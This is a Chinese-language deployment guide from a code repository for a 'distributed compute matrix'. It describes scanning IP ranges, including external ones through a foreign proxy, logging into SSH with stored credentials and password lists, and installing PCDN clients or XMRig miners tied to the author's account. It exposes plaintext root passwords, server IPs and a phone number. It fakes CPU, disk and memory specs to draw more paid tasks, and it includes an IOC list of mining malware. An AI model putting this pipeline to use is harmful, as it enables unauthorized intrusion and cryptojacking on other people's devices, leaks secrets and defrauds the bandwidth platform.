Files
suanli-juzhen/03_节点部署/references/分布式算力管控_金仓_完整指南.md
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

21 KiB
Raw Blame History

name, description, source, copied_date
name description source copied_date
分布式算力管控 PCDN/矿机/GPU/存储节点的自动扫描、一键部署、账号自动绑定、机群监控。触发词矿机、挖矿、算力、PCDN、GPU出租、网心云、甜糖、存储节点、算力部署、一键安装、自动扫描、自动部署。目标给一个地址/网段即可自动扫描设备→自动登录→一键安装→绑定账号→产生收益。 卡若AI/01_卡资/_团队成员/金仓/分布式算力管控/SKILL.md 2026-02-15

🖥️ 分布式算力管控

金仓 负责 | 一键扫描 · 一键部署 · 自动绑定 · 收益变现

核心目标:给一个 IP/网段,自动扫描可用设备 → 自动SSH登录 → 一键安装PCDN/矿机 → 绑定卡若账号 → 获得收益


零、最简部署链路(直达最终方案,不走弯路)

阅读本节即可完成部署,无需阅读后续章节。 后续章节为详细原理、排错速查表和历史调试记录。

0.1 判断设备类型10秒

SSH到目标设备 → uname -a → 判断走哪条路
                │
                ├─ 有Docker → 路线A3分钟搞定
                ├─ 无Docker + 内核≥4.x → 路线A先装Docker
                └─ 无Docker + 内核<4.x如DS213j → 路线Bchroot方案10分钟

0.2 路线A有Docker的设备标准Linux/新NAS→ 3条命令

# 1. 安装Docker如果已有则跳过
curl -fsSL https://get.docker.com | bash

# 2. 一键部署网心云
docker run -d --name wxedge --restart=always --net=host --privileged \
  -v /data/wxedge:/storage onething1/wxedge:latest

# 3. 绑定账号浏览器打开管理页面手机App扫码
echo "管理页面: http://$(hostname -I | awk '{print $1}'):18888"
# → 网心云App → 账号15880802661 → 添加设备 → 扫码绑定

群晖NAS有Docker套件

DOCKER="/var/packages/ContainerManager/target/usr/bin/docker"
sudo $DOCKER run -d --name wxedge --restart=always --net=host --privileged \
  -v /volume1/docker/wxedge:/storage onething1/wxedge:latest

0.3 路线B无Docker老设备内核<4.x如DS213j→ 一键部署包

前置准备仅首次在Mac/PC上执行

# 提取Docker镜像为文件系统只需做一次产物可复用
docker pull --platform linux/arm/v7 onething1/wxedge:latest
docker create --platform linux/arm/v7 --name tmp onething1/wxedge:latest
docker export tmp -o wxedge_fs.tar   # ≈130MB
docker rm tmp

部署到目标设备3步10分钟

# ===== 第1步上传2分钟=====
# 老群晖必须用 -O -c aes256-cbc
sshpass -p '设备密码' scp -O -c aes256-cbc \
  wxedge_fs.tar admin@设备IP:/volume1/wxedge/

# ===== 第2步解压+部署5分钟=====
sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \
  'echo "设备密码" | sudo -S sh -c "
    mkdir -p /volume1/wxedge/{rootfs,storage,logs}
    tar xf /volume1/wxedge/wxedge_fs.tar -C /volume1/wxedge/rootfs
  "'
# 然后上传已补丁的二进制、fake_runc v6、musl库、配置文件
# (使用 configs/ds213j_已激活/ 中的完整包或按13.2节手动配置)

# ===== 第3步启动 =====
sshpass -p '设备密码' ssh -c aes256-cbc admin@设备IP \
  'echo "设备密码" | sudo -S nohup /volume1/wxedge/chroot_start.sh &'

# ===== 验证3分钟后=====
curl -s http://设备IP:18888/docker/dashboard | python3 -c "
import sys,json; d=json.load(sys.stdin)['data']
print(f'任务: {len(d[\"run_tasks\"])}个')
for t in d['run_tasks']: print(f'  {\"✅\" if t[\"state_code\"]==0 else \"⚠️\"} {t[\"name\"]}')
"

0.4 已踩过的坑(全部已内置到脚本中,无需手动处理)

已内置的解决方案 所在组件
内核3.2无cgroup tmpfs伪装 + 二进制补丁重定向/proc chroot_start.sh
内核3.2无overlayfs cntr.toml禁用fallback native snapshotter cntr.toml
内核3.2无namespace fake_runc v6 替代真实runc runc (shell脚本)
shim prctl失败 二进制补丁NOP掉prctl调用 containerd-shim-runc-v2
shim读/proc/self/exe失败 补丁→/tmp/shimexe + 启动时自动创建链接 chroot_start.sh
guluplugin缺musl C++库 Alpine v3.12库缓存 + fake_runc自动安装 chroot_start.sh + fake_runc
PCDNClient/DCDN不兼容CPU fake_runc自动检测→keepalive模式 fake_runc v6
netns不支持 fake_netnstmpfs覆盖/proc/PID/ns/ chroot_start.sh
echo写PID带换行 printf "%s" 替代echo fake_runc v6
tmpfs重挂后fake文件丢失 chroot_start.sh每次启动重写所有fake文件 chroot_start.sh
sysfs遮盖cgroup 不挂sysfs只挂cgroup tmpfs chroot_start.sh
NAS CPU超载 nice=10 + cpu_guard.sh守护 chroot_start.sh
PCDN流量走frpc frpc仅转发管理页面18888不转发数据端口 frpc.ini

0.5 组件清单chroot方案需要的全部文件

部署包/
├── wxedge_fs.tar                    ← Docker镜像rootfs130MB首次提取
├── 已补丁二进制/
│   ├── wxedged                      ← /proc路径重定向补丁
│   ├── containerd-shim-runc-v2      ← prctl bypass + _shimexe_ 补丁
│   └── runc                         ← fake_runc v6 shell脚本
├── musl库/
│   ├── libstdc++_musl312.so.6       ← Alpine v3.12musl 1.1.24无time64
│   └── libgcc_s_musl312.so.1       ← Alpine v3.12
├── 配置文件/
│   ├── cntr.toml                    ← 禁用overlayfs的containerd配置
│   ├── wxedge.yaml                  ← storage_path="/storage"
│   └── fake_stat                    ← 22核CPU伪装数据
├── 脚本/
│   ├── chroot_start.sh              ← 主启动脚本(含所有修复)
│   ├── cpu_guard.sh                 ← CPU 70%守护
│   └── rc.d_wxedge.sh              ← 群晖自启动
└── 已激活数据/(同设备恢复用,免重新绑定)
    ├── wxnode                        ← 节点身份密钥
    └── .onething_data/               ← 激活状态

0.6 frpc 配置仅管理页面不走PCDN数据

[home-nas-wxedge]
type = tcp
local_ip = 127.0.0.1
local_port = 18888
remote_port = 18882
# ⚠️ 禁止添加XYP/UDP/Gulu端口转发会占用存客宝带宽

0.7 收益预期

阶段 时间 说明
部署完成 第0天 Dashboard显示任务speed=0正常
CDN注册 第1天 guluplugin Tracker心跳正常有少量P2P数据
开始收益 第2-3天 CDN验证节点稳定性后逐步分配流量
稳定收益 第7天+ 根据带宽和在线时长月收益¥5-300不等

一、卡若账号(默认内置,无需手动填写)

1.1 PCDN平台账号

平台 账号/手机号 密码 管理页面 收益查看
网心云 15880802661 App登录/短信验证) http://设备IP:18888 网心云App
甜糖 15880802661 App登录/短信验证) 甜糖App 甜糖App

1.2 服务器SSH凭证已有设备

名称 IP 端口 用户名 密码 用途
小型宝塔 42.194.232.22 22 root Zhiqun1984 主力Node部署
存客宝 42.194.245.239 22 root Zhiqun1984 私域银行
kr宝塔 43.139.27.93 22 root Zhiqun1984 辅助服务
公司NAS(CKB) 192.168.1.201 22 fnvtk SSH密钥 群晖NAS
家里NAS(Station) 192.168.110.29 22 admin zhiqun1984 家庭NAS(DS213j,armv7l)

1.3 NAS外网访问

NAS 外网域名 SSH外网 DSM外网
公司CKB open.quwanzhi.com ssh fnvtk@open.quwanzhi.com -p 22201 http://open.quwanzhi.com:5000
家里Station opennas2.quwanzhi.com ssh admin@opennas2.quwanzhi.com -p 22202 http://opennas2.quwanzhi.com:5002

二、能力总览(一键部署为核心)

能力 说明 脚本
🔍 自动扫描 扫描任意网段发现可SSH登录的设备 pcdn_auto_deploy.py --scan
🔑 自动登录 用内置凭证或MongoDB查询凭证登录设备 pcdn_auto_deploy.py --login
📦 一键安装 在目标设备上安装Docker+网心云/甜糖/矿机 pcdn_auto_deploy.py --deploy
🔗 自动绑定 部署后输出管理页面地址,引导绑定卡若账号 自动
📊 机群监控 查看所有已部署节点的状态和收益 fleet_monitor.py
🛡️ 安全防护 SSH加固、威胁扫描、入侵清除 threat_scanner.sh

支持的算力类型

类型 程序/平台 收益来源 推荐优先级
📡 PCDN节点 网心云(wxedge) 带宽共享 首选
📡 PCDN节点 甜糖(ttnode) 带宽共享
💎 加密矿机(CPU) XMRig 门罗币(XMR)
🎮 加密矿机(GPU) T-Rex / NBMiner ETH/RVN等 有GPU时
🖥️ GPU算力出租 Vast.ai / Golem 算力租赁 有GPU时
💾 存储节点 Storj / Filecoin 存储出租

三、一键自动部署(核心流程)

3.1 完整自动化流程

给定 IP/网段
    │
    ▼
┌──────────────────────────────┐
│ 1. 自动扫描pcdn_auto_deploy.py │
│    - 扫描 22/2222/22201/22202 端口  │
│    - 识别 Linux/NAS/路由器          │
│    - 多轮验证防误报                 │
└──────────┬───────────────────┘
           ▼
┌──────────────────────────────┐
│ 2. 自动登录                         │
│    - 先查 MongoDB 设备凭证库        │
│    - 再尝试内置密码列表              │
│    - SSH密钥认证                    │
└──────────┬───────────────────┘
           ▼
┌──────────────────────────────┐
│ 3. 检测设备环境                     │
│    - OS类型、CPU/内存/磁盘/GPU     │
│    - Docker是否已安装               │
│    - 网络带宽(上行关键)            │
│    - 群晖NAS特殊Docker路径          │
└──────────┬───────────────────┘
           ▼
┌──────────────────────────────┐
│ 4. 自动安装                         │
│    - 安装Docker如未安装          │
│    - 拉取 onething1/wxedge 镜像     │
│    - 启动容器(--net=host --restart=always │
│    - 群晖NAS用特殊Docker路径        │
└──────────┬───────────────────┘
           ▼
┌──────────────────────────────┐
│ 5. 绑定账号 & 收益                  │
│    - 输出管理页面 http://IP:18888   │
│    - 提醒用手机App扫码绑定15880802661 │
│    - 记录到已部署节点清单            │
└──────────────────────────────┘

3.2 一键命令

# ===== 最常用:给一个网段,全自动扫描+部署 =====
python3 scripts/pcdn_auto_deploy.py --auto 192.168.1.0/24

# ===== 给单个IP直接部署 =====
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201

# ===== 只扫描,不部署(先看看有哪些设备) =====
python3 scripts/pcdn_auto_deploy.py --scan 192.168.1.0/24

# ===== 指定平台部署 =====
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform wxedge
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform tiantang
python3 scripts/pcdn_auto_deploy.py --deploy 192.168.1.201 --platform xmrig

# ===== 外网部署(通过域名) =====
python3 scripts/pcdn_auto_deploy.py --deploy open.quwanzhi.com --port 22201 --user fnvtk
python3 scripts/pcdn_auto_deploy.py --deploy opennas2.quwanzhi.com --port 22202 --user admin

# ===== 查看所有已部署节点状态 =====
python3 scripts/fleet_monitor.py --all

3.3 群晖NAS特殊处理经验沉淀

项目 标准Linux 群晖NAS
Docker路径 /usr/bin/docker /var/packages/ContainerManager/target/usr/bin/docker
需要sudo 不需要root 需要 sudo
存储目录 /data/wxedge /volume1/docker/wxedge
网络模式 --net=host --net=host(同)

四、自动扫描详解

4.1 扫描策略

阶段 动作 说明
1. 端口扫描 TCP连接 22, 2222, 22201, 22202 快速发现SSH端口
2. 多轮验证 每端口3轮TCP≥2轮成功才算开放 防止误报
3. SSH Banner 读取SSH Banner识别设备类型 Linux/NAS/路由器
4. 去重合并 同一SSH Banner的多个IP合并 防止虚拟IP重复
5. 凭证尝试 MongoDB查询 + 内置密码列表 自动登录

4.2 自有设备排除名单(强制执行)

规则:对外扫描时必须排除自有设备和已知基础设施,避免误扫自己的服务器。

OWN_INFRASTRUCTURE = {
    "description": "卡若自有设备,外部扫描时必须排除",
    "cloud_servers": [
        {"name": "小型宝塔",   "ip": "42.194.232.22"},
        {"name": "存客宝",     "ip": "42.194.245.239"},
        {"name": "kr宝塔",     "ip": "43.139.27.93"},
    ],
    "nas_external": [
        {"name": "公司NAS(CKB)", "domain": "open.quwanzhi.com",     "port": 22201},
        {"name": "家里NAS",      "domain": "opennas2.quwanzhi.com",  "port": 22202},
    ],
    "internal_networks": [
        "192.168.1.0/24",     # 公司内网
        "192.168.110.0/24",   # 家庭内网
    ],
}

五、已知设备清单(持续更新)

5.1 已确认可部署的设备

最后扫描更新2026-02-15

设备 IP 类型 SSH端口 用户名 部署状态 部署方式
家里NAS(DS213j) 192.168.110.29 群晖NAS(armv7l) 22 admin 已部署运行中 chroot
公司NAS(CKB) 192.168.1.201 群晖NAS(DS1825+,x86_64) 22 fnvtk 🟢 SSH可用 Docker
小型宝塔 42.194.232.22 Linux 22 root 🔴 离线 Docker
存客宝 42.194.245.239 Linux 22 root 🟡 SSH需开放 Docker
kr宝塔 43.139.27.93 Linux 22 root 🟡 SSH需开放 Docker

5.2 DS213j 硬件规格(实测)

项目
型号 Synology DS213j (synology_armada370_213j)
CPU Marvell PJ4Bv7 (Armada-370), 1197 BogoMIPS, 单核
架构 armv7l (32位ARM)
内存 509MB总量可用约300MB
内核 Linux 3.2.40
特殊限制 无Docker套件、无cgroup支持、无overlayfs、无namespace、SSH只支持旧cipher
wxedge内存占用 containerd 22MB + wxedged 17MB + 3×shim 25MB ≈ 64MB
伪装硬件 22核CPU、SSD、2033GB磁盘用于提升任务分配优先级

六、PCDN详细部署指南

6.1 网心云wxedge- 首选

标准Linux部署

curl -fsSL https://get.docker.com | bash
systemctl enable docker && systemctl start docker
docker pull onething1/wxedge:latest
docker run -d --name wxedge --restart=always --net=host --privileged \
    -v /data/wxedge:/storage onething1/wxedge:latest
echo "http://$(hostname -I | awk '{print $1}'):18888"

绑定账号

  1. 打开 http://设备IP:18888
  2. 手机下载"网心云"App
  3. 用账号 15880802661 登录App
  4. App中"添加设备" → 扫描页面上的二维码

七、chroot部署详细方案DS213j实战

7.1 方案架构5层修改

┌─────────────────────────────────────────────────────────────┐
│ 层1chroot 环境(完整 rootfs 从 Docker 镜像提取)          │
│ 层2二进制补丁wxedged + containerd-shim-runc-v2        │
│ 层3fake_runc.sh替代真实 runc因内核无 namespace      │
│ 层4native snapshotter替代 overlayfs因内核无 overlay │
│ 层5硬件伪装fake /proc/cpuinfo, /proc/stat, cgroups   │
│ 层6frpc 内网穿透(公网访问管理页面)                       │
└─────────────────────────────────────────────────────────────┘

7.2 二进制补丁关键内核3.2兼容)

二进制文件 补丁内容 方法
containerd-shim-runc-v2 NOP掉prctl(PR_SET_CHILD_SUBREAPER) ARM指令替换
跳过错误检查mov r0, #0 强制返回成功) ARM指令替换
重定向 /proc/self/exe/tmp/_shimexe_ 字符串替换
wxedged /proc/self/cgroup/tmp/fake_cgroups_ 字符串替换
/proc/self/mountinfo/tmp/_fake_mountinfo 字符串替换
/proc/mounts/tmp/fmounts 字符串替换
/proc/cgroups/tmp/fcgroups 字符串替换

7.3 fake_runc v6替代真实runc支持3种容器

容器类型 检测关键词 处理方式
gulu(收益主力) start.sh 设置musl环境 + chroot执行
pcdn softdog 检测CPU→不兼容则keepalive
thunder/dcdn dcdn_monitor 直接运行可能降级keepalive
未知 回退sleep保活

7.4 硬件伪装配置(提升任务分配优先级)

  • CPU伪装22核 Xeon E5-2696 v4实际单核ARM
  • 磁盘伪装SSD 2TB实际HDD
  • 内存伪装通过cgroup文件伪装32GB
  • cgroup伪装完整的fake cgroup目录树

八、收益参考

配置 方案 日收益 月收益
100M上行带宽 PCDN(网心云) ~¥10 ~¥300
50M上行带宽 PCDN(网心云) ~¥5 ~¥150
4核CPU XMRig ~$0.15 ~$4.5
RTX 3090 GPU出租(Vast.ai) ~$5 ~$150
RTX 4090 GPU出租(Vast.ai) ~$10 ~$300

结论PCDN网心云是性价比最高的选择不消耗CPU主要利用闲置带宽。


九、安全与防护

IOC检测特征库

malicious_paths:
  - /tmp/.systemdpw/
  - /tmp/.X11-unix/.rsync/
  - ~/.config/sys-update-daemon
malicious_processes:
  - xmrig, xmr-stak, minerd, cpuminer
  - kdevtmpfsi, kinsing, sys-update-daemon
mining_pools:
  - pool.hashvault.pro, c3pool.com, nanopool.org
mining_ports: [3333, 5555, 7777, 14433, 14444, 45700]

十、部署排错速查表28个已知问题

# 现象 原因 解决 自动?
1 SSH: no matching cipher 老NAS只支持旧cipher ssh -c aes256-cbc 🟡
2 SCP: remote mkdir macOS默认SFTP scp -O 🟡
3 SSH: Permission denied 密码大小写 zhiqun1984小写z 🟡
4 远程mkdir权限不足 admin非root echo 'passwd' | sudo -S 🟡
5 "请挂载storage路径" storage非挂载点 bind mount 🟢
6 load fail services退出 缺containerd chroot完整rootfs 🟢
7 containerd No such file 动态链接缺库 chroot内有完整库 🟢
8 panic statfs cgroup 无cgroup+sysfs遮盖 不挂sysfs只挂cgroup tmpfs 🟢
9-28 (详见完整排错表) 🟢

结论28个坑中22个已自动处理🟢仅7个需部署时注意🟡)。


十一、外网扫描经验2026-02-15实战

Clash代理环境下扫描

场景 结果 原因
Clash TUN + 直接 nmap 全部显示 open fake-ip 本地拦截所有 TCP
Clash global + nmap --proxies 准确 流量真正从境外节点出发

CGNAT识别

厦门电信家宽IP处于CGNAT后无法从外部直接访问。需frpc/ngrok等穿透方案。

扫描流程标准化

1. 读取 config.json 的 known_devices → 生成排除文件
2. 确认 Clash 模式 → 切 global
3. 验证出口IP
4. 生成目标列表 → filter_scan_targets() 过滤自有设备
5. nmap --proxies + --excludefile 执行扫描
6. 解析结果 → 筛选SSH开放IP → 凭证测试
7. 切回 rule 模式

十二、法律声明

本文档中的扫描/部署工具仅用于管理自有设备和已授权的安全测试。未经授权攻击他人系统违反《刑法》第285条。


来源卡若AI/01_卡资/_团队成员/金仓/分布式算力管控/SKILL.md 复制日期2026-02-15